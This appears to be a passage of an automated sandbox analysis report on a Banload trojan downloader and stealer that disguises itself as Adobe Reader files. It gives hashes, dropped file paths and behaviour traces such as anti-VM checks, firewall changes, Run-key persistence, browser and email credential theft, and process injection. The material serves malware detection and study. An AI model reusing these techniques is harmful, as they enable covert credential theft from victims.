SHA256 9607fb2a0e2ea02cd674272680a238d21539071db3c9735818a1abf11ff30ff1
SHA512 7afe571b9ad4b67fdf00cecade8645e82471c1c5098b563a2e2d0cff96905f34b6071eb93c86f59850335e7e88d988d6c016553cdbbe1a693e1cdc3082a3790b

C:\Users\Admin\AppData\Roaming\AdobeR\ADBR\READER\adbr01.exe

MD5 3351585db91521d6fa543490ac7cd6a5
SHA1 9be2b3abf17613d7386f9949cabaedd466902e82
SHA256 3f1749d4a96eb85fe2104fef8d871d9696b456615ff3775d484cc2c2431f40b4
SHA512 804b293c02a5526b8c7d5dc48edc18cb33e06a07b39a0b3f46d8d34387e1848b245b087fd820a4a14ac4866c85a120837217ddc9bb47ef32e1b5b80f0dc66d30

C:\Users\Admin\AppData\Roaming\AdobeR\ADBR\READER\adbr02.exe

MD5 75a35514185cd2c5cf5aab50cc380963
SHA1 f1ff1e088f910398a48f4f7dfddec24e6d6d1734
SHA256 1cf5eb2f7c5cd5b7d036478d30408212494ab73190172c63df67e66350374937
SHA512 ca6bb433fe5fd4ea350dfa40dd80bb6913ea4693b6ba6188e67f55e4211db9975fd7af570546bce0fd877a3bfeceadd4da9ba9c46c6cb69f9963914739e16297

C:\Users\Admin\AppData\Roaming\AdobeR\ADBR\READER\Adob9.vbs

MD5 09082253605a7171f078e26dc308a667
SHA1 585286c9fcda5e66e7fdb4e17a7bab6160183d46
SHA256 f4c67dc01ce4bf55e1b574009c49d481dad0d33070f53f42bc76807eb5e324ed
SHA512 adb4a1fec6feada14b8b4f28730e098a0af19f1e7c2fa0fe684030d1171e56c88813661a2352ce598221853fce3dc8a4bb3b2e1dc80b6471c41d2598f635b1d8

C:\Users\Admin\AppData\Roaming\AdobeR\ADBR\READER\Adobeta.exe

MD5 97b8dbcc7b3cc290aef4241df911ac2e
SHA1 733ababbcd278821d4e3ee78580841981f26642e
SHA256 c44ca1fe145c4f0dcea4efb95171cbf16dfec9fe66a603fbe29c94c21050a023
SHA512 4adaa7621e2c858e6541792146260142e1d28683ec1515a743a56bc106ab425edfce856ef3b0d146d63704b34694c9e666a39e3845a097d41cbf465537ec9b25

C:\Users\Admin\AppData\Roaming\AdobeR\ADBR\READER\AReader.exe

MD5 1a1075e5e307f3a4b8527110a51ce827
SHA1 f453838ed21020b7ca059244feea8579e5aa74ef
SHA256 ddd90e3546e95b0991df26a17cf26fa2f1c20d6a1fd4ffccf1e9b3ec3d3810d5
SHA512 b6b70c6cb3cdb05a69c75b86c1fa0fadb38de0391e1fa17daff7d12dfae2a9f483546d9bf1001ff622694fdf8a28b85cd30fc541c25be62df022d22ca17decc1

C:\Users\Admin\AppData\Roaming\AdobeR\ADBR\READER\rea01.bat

MD5 ce7ccd3b48dbe8f34db3b2b1222e4fd9
SHA1 e25f9947c2b250c98dffd7bfeaca75b4db17dcfd
SHA256 6374a35588bd20362e54dff9e8cf0dffba5ba0ec5952a08fb51caea54c5d228e
SHA512 ee6b389f29d30a572c7c9837575df7ff197589824c5377f02b7c453572139d4ecc75c5b194a601b953fbb7e692b3929faf8c4e14e7fec51cd25d71658636ef99

memory/2144-122-0x0000000002340000-0x00000000025F4000-memory.dmp

memory/2144-124-0x0000000002340000-0x00000000025F4000-memory.dmp

memory/2312-125-0x0000000000400000-0x00000000006B4000-memory.dmp

memory/2312-128-0x00000000025D0000-0x0000000002884000-memory.dmp

memory/2984-129-0x0000000000400000-0x00000000006B4000-memory.dmp

memory/2984-130-0x0000000002620000-0x000000000282C000-memory.dmp

memory/2984-134-0x0000000002620000-0x000000000282C000-memory.dmp

memory/2984-141-0x0000000000400000-0x00000000006B4000-memory.dmp

memory/2984-145-0x0000000002620000-0x000000000282C000-memory.dmp

memory/2984-144-0x0000000000400000-0x00000000006B4000-memory.dmp

memory/2984-142-0x0000000000400000-0x00000000006B4000-memory.dmp

memory/2984-143-0x0000000000400000-0x00000000006B4000-memory.dmp

memory/2984-151-0x0000000002620000-0x000000000282C000-memory.dmp

memory/2984-152-0x0000000002620000-0x000000000282C000-memory.dmp

memory/2984-156-0x0000000002620000-0x000000000282C000-memory.dmp

memory/2312-158-0x0000000000400000-0x00000000006B4000-memory.dmp

memory/2984-157-0x0000000000400000-0x00000000006B4000-memory.dmp

memory/2144-164-0x0000000002340000-0x00000000025F7000-memory.dmp

memory/1516-165-0x0000000000400000-0x00000000006B7000-memory.dmp

memory/2144-162-0x0000000002340000-0x00000000025F7000-memory.dmp

memory/1516-168-0x00000000026B0000-0x0000000002967000-memory.dmp

memory/1404-169-0x0000000000400000-0x00000000006B7000-memory.dmp

memory/1404-174-0x0000000002620000-0x000000000282C000-memory.dmp

C:\ProgramData\TEMP\RAIDTest

MD5 c2f09542b6c7daf4288f3524c8cebb18
SHA1 9430b21baf07f0d105b9ee5fdd9f868418454517
SHA256 55d7808233c58f1606fff77eb382a02ed729bf5d8b2640fb313d0f7c91e970d4
SHA512 dcc19cfbc78b78708ce2586228424194f846d80b6d072045baaf93559d20f71e809a4eb57e7dac3b4ea109d90aeb585d0b5438dc1dd7d34054c03aa6350d6672

C:\ProgramData\TEMP:663565B1

MD5 5a2a026dc8de4855d5e5e37e31b213e1
SHA1 ebce7a5fd6476ab328e7456d4cc395f5d51b8ddb
SHA256 1737f39eff4f42db06b6a32c4446dac422291264c6a0865dad235d9c73c01bb8
SHA512 a72a52210de8333b0ccbe37fb1d5e4f0b88c7a4091bc42fcb1481dba2f731590470fbec6a8960f056ab73ed053299df610ef7aec1ea68f142a10cd63d2f29031

C:\ProgramData\Licenses\086A4C8982A52E70F.Lic

MD5 27d7c0225f574bd7661ee3bb90dbce86
SHA1 3740196d88e3e673723bdcfa497bb1427a1c6a65
SHA256 6e55df2fcb1b0465b53c8f96d9699c45333717e97b67f65661acf0c5cd727015
SHA512 65c6f672f9db39cf122182dcbec211687ac36c387e2b3e2b8e3684f9f32bcc99430f51532e88bc8e9568bc8ecc8513567dd327d444bb2f6c3325787bec4448b3

memory/1404-184-0x0000000000400000-0x00000000006B7000-memory.dmp

memory/1404-183-0x0000000000400000-0x00000000006B7000-memory.dmp

memory/1404-185-0x0000000000400000-0x00000000006B7000-memory.dmp

memory/1404-187-0x0000000002620000-0x000000000282C000-memory.dmp

memory/1404-186-0x0000000000400000-0x00000000006B7000-memory.dmp

memory/1404-191-0x0000000002620000-0x000000000282C000-memory.dmp

memory/2144-192-0x0000000002340000-0x00000000025F7000-memory.dmp

memory/1404-196-0x0000000002620000-0x000000000282C000-memory.dmp

memory/1516-197-0x0000000000400000-0x00000000006B7000-memory.dmp

C:\Users\Admin\AppData\Roaming\Adobe\Adobe Inc\AdobeRead\112.112

MD5 3c305699054489d4ba953729549294b8
SHA1 272b920622013b83dc073c26b75f5968663496c5
SHA256 52392e1693a81b409ab85297d0dc90dd360b0fd3ba022341499ab3f23add16d8
SHA512 7051b5a88aa709cf6496bddd82c91cc8d198390825c202ec34d1295e1070e62cf92566390dbd083b091a7c83d539d17751790e9cba569f4f566cd90de488000b

C:\Users\Admin\AppData\Roaming\Adobe\Adobe Inc\AdobeRead\011.011

MD5 47126de91787883c271c994dfdb2c37e
SHA1 3ac2bdacfe2a890f59ba697a58ebacb92e9ba736
SHA256 c5b7393354401ef25ab42694ff52525e7f24a3d0e2253543e56b62999a730124
SHA512 a874744b9b191c3232cdc85a73a7fcf9db1ae457250c7be87e92a4c392c14f1cf47609291e73a4ec7a36de49648a0569f5257a6be880c02098e08af49e995519

Analysis: behavioral2

Detonation Overview

Submitted

2024-09-12 12:51

Reported

2024-09-12 12:53

Platform

win10v2004-20240802-en

Max time kernel

95s

Max time network

125s

Command Line

"C:\Users\Admin\AppData\Local\Temp\f881941f711f3d797027dede73b477345f361838d24bf08e558f11db0f58cd19.exe"

Signatures

Banload

trojan dropper downloader banload

Credentials from Password Stores: Credentials from Web Browsers

credential_access stealer

Identifies VirtualBox via ACPI registry values (likely anti-VM)

evasion
Description Indicator Process Target
Key opened \REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__ C:\Users\Admin\AppData\Roaming\Adobe\Adobe Inc\AdobeRead\adbr01.exe N/A
Key opened \REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__ C:\Users\Admin\AppData\Roaming\Adobe\Adobe Inc\AdobeRead\adbr02.exe N/A

Modifies Windows Firewall

evasion
Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\netsh.exe N/A
N/A N/A C:\Windows\SysWOW64\netsh.exe N/A
N/A N/A C:\Windows\SysWOW64\netsh.exe N/A
N/A N/A C:\Windows\SysWOW64\netsh.exe N/A

Sets file to hidden

evasion
Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\attrib.exe N/A
N/A N/A C:\Windows\SysWOW64\attrib.exe N/A
N/A N/A C:\Windows\SysWOW64\attrib.exe N/A
N/A N/A C:\Windows\SysWOW64\attrib.exe N/A
N/A N/A C:\Windows\SysWOW64\attrib.exe N/A

Checks BIOS information in registry

Description Indicator Process Target
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion C:\Users\Admin\AppData\Roaming\Adobe\Adobe Inc\AdobeRead\adbr01.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosDate C:\Users\Admin\AppData\Roaming\Adobe\Adobe Inc\AdobeRead\adbr01.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion C:\Users\Admin\AppData\Roaming\Adobe\Adobe Inc\AdobeRead\adbr02.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosDate C:\Users\Admin\AppData\Roaming\Adobe\Adobe Inc\AdobeRead\adbr02.exe N/A

Checks computer location settings

Description Indicator Process Target
Key value queried \REGISTRY\USER\S-1-5-21-945322488-2060912225-3527527000-1000\Control Panel\International\Geo\Nation C:\Windows\SysWOW64\cmd.exe N/A
Key value queried \REGISTRY\USER\S-1-5-21-945322488-2060912225-3527527000-1000\Control Panel\International\Geo\Nation C:\Windows\SysWOW64\WScript.exe N/A
Key value queried \REGISTRY\USER\S-1-5-21-945322488-2060912225-3527527000-1000\Control Panel\International\Geo\Nation C:\Users\Admin\AppData\Local\Temp\f881941f711f3d797027dede73b477345f361838d24bf08e558f11db0f58cd19.exe N/A
Key value queried \REGISTRY\USER\S-1-5-21-945322488-2060912225-3527527000-1000\Control Panel\International\Geo\Nation C:\Windows\SysWOW64\WScript.exe N/A

Reads local data of messenger clients

spyware stealer

Reads user/profile data of local email clients

spyware stealer

Reads user/profile data of web browsers

spyware stealer

Accesses Microsoft Outlook accounts

collection
Description Indicator Process Target
Key opened \REGISTRY\USER\S-1-5-21-945322488-2060912225-3527527000-1000\Software\Microsoft\Office\Outlook\OMI Account Manager\Accounts C:\Users\Admin\AppData\Roaming\Adobe\Adobe Inc\AdobeRead\adbr02.exe N/A

Adds Run key to start application

persistence
Description Indicator Process Target
Set value (str) \REGISTRY\USER\S-1-5-21-945322488-2060912225-3527527000-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\AdobeA = "C:\\Users\\Admin\\AppData\\Roaming\\Adobe\\Adobe Inc\\AdobeRead\\acro4.bat" C:\Windows\SysWOW64\reg.exe N/A

Enumerates physical storage devices

Event Triggered Execution: Netsh Helper DLL

persistence privilege_escalation
Description Indicator Process Target
Key queried \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh C:\Windows\SysWOW64\netsh.exe N/A
Key queried \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh C:\Windows\SysWOW64\netsh.exe N/A
Key value enumerated \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh C:\Windows\SysWOW64\netsh.exe N/A
Key queried \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh C:\Windows\SysWOW64\netsh.exe N/A
Key queried \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh C:\Windows\SysWOW64\netsh.exe N/A
Key value enumerated \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh C:\Windows\SysWOW64\netsh.exe N/A
Key opened \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh C:\Windows\SysWOW64\netsh.exe N/A
Key value enumerated \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh C:\Windows\SysWOW64\netsh.exe N/A
Key opened \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh C:\Windows\SysWOW64\netsh.exe N/A
Key value enumerated \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh C:\Windows\SysWOW64\netsh.exe N/A
Key opened \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh C:\Windows\SysWOW64\netsh.exe N/A
Key opened \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh C:\Windows\SysWOW64\netsh.exe N/A

System Location Discovery: System Language Discovery

discovery
Description Indicator Process Target
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\AppData\Roaming\Adobe\Adobe Inc\AdobeRead\AReader.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\attrib.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\attrib.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\attrib.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\AppData\Roaming\Adobe\Adobe Inc\AdobeRead\adbr01.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\netsh.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\reg.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\netsh.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\AppData\Roaming\Adobe\Adobe Inc\AdobeRead\Adobeta.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\WScript.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\cmd.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\attrib.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\attrib.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\WScript.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\AppData\Roaming\Adobe\Adobe Inc\AdobeRead\adbr01.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\netsh.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\AppData\Roaming\Adobe\Adobe Inc\AdobeRead\adbr02.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\AppData\Roaming\Adobe\Adobe Inc\AdobeRead\adbr02.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\netsh.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\AppData\Local\Temp\f881941f711f3d797027dede73b477345f361838d24bf08e558f11db0f58cd19.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\xcopy.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\cmd.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\AppData\Roaming\Adobe\Adobe Inc\AdobeRead\Adobeta.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\ipconfig.exe N/A

Enumerates system info in registry

Description Indicator Process Target
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier C:\Windows\SysWOW64\xcopy.exe N/A

Gathers network information

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\ipconfig.exe N/A

Modifies registry class

Description Indicator Process Target
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{37EDC348-F7AF-59EA-E1CC-DDFB47F24187}\TypeLib C:\Users\Admin\AppData\Roaming\Adobe\Adobe Inc\AdobeRead\adbr01.exe N/A
Key created \REGISTRY\USER\S-1-5-21-945322488-2060912225-3527527000-1000_Classes\Local Settings C:\Windows\SysWOW64\cmd.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{37EDC348-F7AF-59EA-E1CC-DDFB47F24187} C:\Users\Admin\AppData\Roaming\Adobe\Adobe Inc\AdobeRead\adbr01.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{37EDC348-F7AF-59EA-E1CC-DDFB47F24187}\InprocServer32 C:\Users\Admin\AppData\Roaming\Adobe\Adobe Inc\AdobeRead\adbr01.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{37EDC348-F7AF-59EA-E1CC-DDFB47F24187}\InprocServer32\ThreadingModel = "Both" C:\Users\Admin\AppData\Roaming\Adobe\Adobe Inc\AdobeRead\adbr01.exe N/A
Key created \REGISTRY\USER\S-1-5-21-945322488-2060912225-3527527000-1000_Classes\Local Settings C:\Users\Admin\AppData\Local\Temp\f881941f711f3d797027dede73b477345f361838d24bf08e558f11db0f58cd19.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{37EDC348-F7AF-59EA-E1CC-DDFB47F24187}\ = "Jet Expression Service" C:\Users\Admin\AppData\Roaming\Adobe\Adobe Inc\AdobeRead\adbr01.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{37EDC348-F7AF-59EA-E1CC-DDFB47F24187}\InprocServer32\ = "C:\\Windows\\SysWOW64\\msjtes40.dll" C:\Users\Admin\AppData\Roaming\Adobe\Adobe Inc\AdobeRead\adbr01.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{37EDC348-F7AF-59EA-E1CC-DDFB47F24187}\TypeLib\ = "{2358C810-62BA-11d1-B3DB-00600832C573}" C:\Users\Admin\AppData\Roaming\Adobe\Adobe Inc\AdobeRead\adbr01.exe N/A

NTFS ADS

Description Indicator Process Target
File created C:\ProgramData\TEMP:663565B1 C:\Users\Admin\AppData\Roaming\Adobe\Adobe Inc\AdobeRead\adbr01.exe N/A
File opened for modification C:\ProgramData\TEMP:663565B1 C:\Users\Admin\AppData\Roaming\Adobe\Adobe Inc\AdobeRead\adbr01.exe N/A
File opened for modification C:\ProgramData\TEMP:663565B1 C:\Users\Admin\AppData\Roaming\Adobe\Adobe Inc\AdobeRead\adbr02.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 2308 wrote to memory of 3628 N/A C:\Users\Admin\AppData\Local\Temp\f881941f711f3d797027dede73b477345f361838d24bf08e558f11db0f58cd19.exe C:\Windows\SysWOW64\WScript.exe
PID 2308 wrote to memory of 3628 N/A C:\Users\Admin\AppData\Local\Temp\f881941f711f3d797027dede73b477345f361838d24bf08e558f11db0f58cd19.exe C:\Windows\SysWOW64\WScript.exe
PID 2308 wrote to memory of 3628 N/A C:\Users\Admin\AppData\Local\Temp\f881941f711f3d797027dede73b477345f361838d24bf08e558f11db0f58cd19.exe C:\Windows\SysWOW64\WScript.exe
PID 3628 wrote to memory of 2800 N/A C:\Windows\SysWOW64\WScript.exe C:\Windows\SysWOW64\cmd.exe
PID 3628 wrote to memory of 2800 N/A C:\Windows\SysWOW64\WScript.exe C:\Windows\SysWOW64\cmd.exe
PID 3628 wrote to memory of 2800 N/A C:\Windows\SysWOW64\WScript.exe C:\Windows\SysWOW64\cmd.exe
PID 2800 wrote to memory of 4820 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\xcopy.exe
PID 2800 wrote to memory of 4820 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\xcopy.exe
PID 2800 wrote to memory of 4820 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\xcopy.exe
PID 2800 wrote to memory of 1600 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\attrib.exe
PID 2800 wrote to memory of 1600 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\attrib.exe
PID 2800 wrote to memory of 1600 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\attrib.exe
PID 2800 wrote to memory of 3336 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\attrib.exe
PID 2800 wrote to memory of 3336 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\attrib.exe
PID 2800 wrote to memory of 3336 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\attrib.exe
PID 2800 wrote to memory of 552 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\attrib.exe
PID 2800 wrote to memory of 552 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\attrib.exe
PID 2800 wrote to memory of 552 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\attrib.exe
PID 2800 wrote to memory of 2404 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\attrib.exe
PID 2800 wrote to memory of 2404 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\attrib.exe
PID 2800 wrote to memory of 2404 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\attrib.exe
PID 2800 wrote to memory of 4496 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\attrib.exe
PID 2800 wrote to memory of 4496 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\attrib.exe
PID 2800 wrote to memory of 4496 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\attrib.exe
PID 2800 wrote to memory of 2084 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\WScript.exe
PID 2800 wrote to memory of 2084 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\WScript.exe
PID 2800 wrote to memory of 2084 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\WScript.exe
PID 2084 wrote to memory of 2368 N/A C:\Windows\SysWOW64\WScript.exe C:\Windows\SysWOW64\cmd.exe
PID 2084 wrote to memory of 2368 N/A C:\Windows\SysWOW64\WScript.exe C:\Windows\SysWOW64\cmd.exe
PID 2084 wrote to memory of 2368 N/A C:\Windows\SysWOW64\WScript.exe C:\Windows\SysWOW64\cmd.exe
PID 2368 wrote to memory of 384 N/A C:\Windows\SysWOW64\cmd.exe C:\Users\Admin\AppData\Roaming\Adobe\Adobe Inc\AdobeRead\Adobeta.exe
PID 2368 wrote to memory of 384 N/A C:\Windows\SysWOW64\cmd.exe C:\Users\Admin\AppData\Roaming\Adobe\Adobe Inc\AdobeRead\Adobeta.exe
PID 2368 wrote to memory of 384 N/A C:\Windows\SysWOW64\cmd.exe C:\Users\Admin\AppData\Roaming\Adobe\Adobe Inc\AdobeRead\Adobeta.exe
PID 2368 wrote to memory of 3516 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\reg.exe
PID 2368 wrote to memory of 3516 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\reg.exe
PID 2368 wrote to memory of 3516 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\reg.exe
PID 2368 wrote to memory of 3224 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\ipconfig.exe
PID 2368 wrote to memory of 3224 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\ipconfig.exe
PID 2368 wrote to memory of 3224 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\ipconfig.exe
PID 2368 wrote to memory of 2688 N/A C:\Windows\SysWOW64\cmd.exe C:\Users\Admin\AppData\Roaming\Adobe\Adobe Inc\AdobeRead\adbr01.exe
PID 2368 wrote to memory of 2688 N/A C:\Windows\SysWOW64\cmd.exe C:\Users\Admin\AppData\Roaming\Adobe\Adobe Inc\AdobeRead\adbr01.exe
PID 2368 wrote to memory of 2688 N/A C:\Windows\SysWOW64\cmd.exe C:\Users\Admin\AppData\Roaming\Adobe\Adobe Inc\AdobeRead\adbr01.exe
PID 2688 wrote to memory of 3052 N/A C:\Users\Admin\AppData\Roaming\Adobe\Adobe Inc\AdobeRead\adbr01.exe C:\Users\Admin\AppData\Roaming\Adobe\Adobe Inc\AdobeRead\adbr01.exe
PID 2688 wrote to memory of 3052 N/A C:\Users\Admin\AppData\Roaming\Adobe\Adobe Inc\AdobeRead\adbr01.exe C:\Users\Admin\AppData\Roaming\Adobe\Adobe Inc\AdobeRead\adbr01.exe
PID 2688 wrote to memory of 3052 N/A C:\Users\Admin\AppData\Roaming\Adobe\Adobe Inc\AdobeRead\adbr01.exe C:\Users\Admin\AppData\Roaming\Adobe\Adobe Inc\AdobeRead\adbr01.exe
PID 2688 wrote to memory of 3052 N/A C:\Users\Admin\AppData\Roaming\Adobe\Adobe Inc\AdobeRead\adbr01.exe C:\Users\Admin\AppData\Roaming\Adobe\Adobe Inc\AdobeRead\adbr01.exe
PID 2688 wrote to memory of 3052 N/A C:\Users\Admin\AppData\Roaming\Adobe\Adobe Inc\AdobeRead\adbr01.exe C:\Users\Admin\AppData\Roaming\Adobe\Adobe Inc\AdobeRead\adbr01.exe
PID 2688 wrote to memory of 3052 N/A C:\Users\Admin\AppData\Roaming\Adobe\Adobe Inc\AdobeRead\adbr01.exe C:\Users\Admin\AppData\Roaming\Adobe\Adobe Inc\AdobeRead\adbr01.exe
PID 2688 wrote to memory of 3052 N/A C:\Users\Admin\AppData\Roaming\Adobe\Adobe Inc\AdobeRead\adbr01.exe C:\Users\Admin\AppData\Roaming\Adobe\Adobe Inc\AdobeRead\adbr01.exe
PID 2688 wrote to memory of 3052 N/A C:\Users\Admin\AppData\Roaming\Adobe\Adobe Inc\AdobeRead\adbr01.exe C:\Users\Admin\AppData\Roaming\Adobe\Adobe Inc\AdobeRead\adbr01.exe
PID 2688 wrote to memory of 3052 N/A C:\Users\Admin\AppData\Roaming\Adobe\Adobe Inc\AdobeRead\adbr01.exe C:\Users\Admin\AppData\Roaming\Adobe\Adobe Inc\AdobeRead\adbr01.exe
PID 2688 wrote to memory of 3052 N/A C:\Users\Admin\AppData\Roaming\Adobe\Adobe Inc\AdobeRead\adbr01.exe C:\Users\Admin\AppData\Roaming\Adobe\Adobe Inc\AdobeRead\adbr01.exe
PID 2688 wrote to memory of 3052 N/A C:\Users\Admin\AppData\Roaming\Adobe\Adobe Inc\AdobeRead\adbr01.exe C:\Users\Admin\AppData\Roaming\Adobe\Adobe Inc\AdobeRead\adbr01.exe
PID 2688 wrote to memory of 3052 N/A C:\Users\Admin\AppData\Roaming\Adobe\Adobe Inc\AdobeRead\adbr01.exe C:\Users\Admin\AppData\Roaming\Adobe\Adobe Inc\AdobeRead\adbr01.exe
PID 2688 wrote to memory of 3052 N/A C:\Users\Admin\AppData\Roaming\Adobe\Adobe Inc\AdobeRead\adbr01.exe C:\Users\Admin\AppData\Roaming\Adobe\Adobe Inc\AdobeRead\adbr01.exe
PID 2688 wrote to memory of 3052 N/A C:\Users\Admin\AppData\Roaming\Adobe\Adobe Inc\AdobeRead\adbr01.exe C:\Users\Admin\AppData\Roaming\Adobe\Adobe Inc\AdobeRead\adbr01.exe
PID 2688 wrote to memory of 3052 N/A C:\Users\Admin\AppData\Roaming\Adobe\Adobe Inc\AdobeRead\adbr01.exe C:\Users\Admin\AppData\Roaming\Adobe\Adobe Inc\AdobeRead\adbr01.exe
PID 2688 wrote to memory of 3052 N/A C:\Users\Admin\AppData\Roaming\Adobe\Adobe Inc\AdobeRead\adbr01.exe C:\Users\Admin\AppData\Roaming\Adobe\Adobe Inc\AdobeRead\adbr01.exe
PID 2688 wrote to memory of 3052 N/A C:\Users\Admin\AppData\Roaming\Adobe\Adobe Inc\AdobeRead\adbr01.exe C:\Users\Admin\AppData\Roaming\Adobe\Adobe Inc\AdobeRead\adbr01.exe
PID 2688 wrote to memory of 3052 N/A C:\Users\Admin\AppData\Roaming\Adobe\Adobe Inc\AdobeRead\adbr01.exe C:\Users\Admin\AppData\Roaming\Adobe\Adobe Inc\AdobeRead\adbr01.exe
PID 2688 wrote to memory of 3052 N/A C:\Users\Admin\AppData\Roaming\Adobe\Adobe Inc\AdobeRead\adbr01.exe C:\Users\Admin\AppData\Roaming\Adobe\Adobe Inc\AdobeRead\adbr01.exe
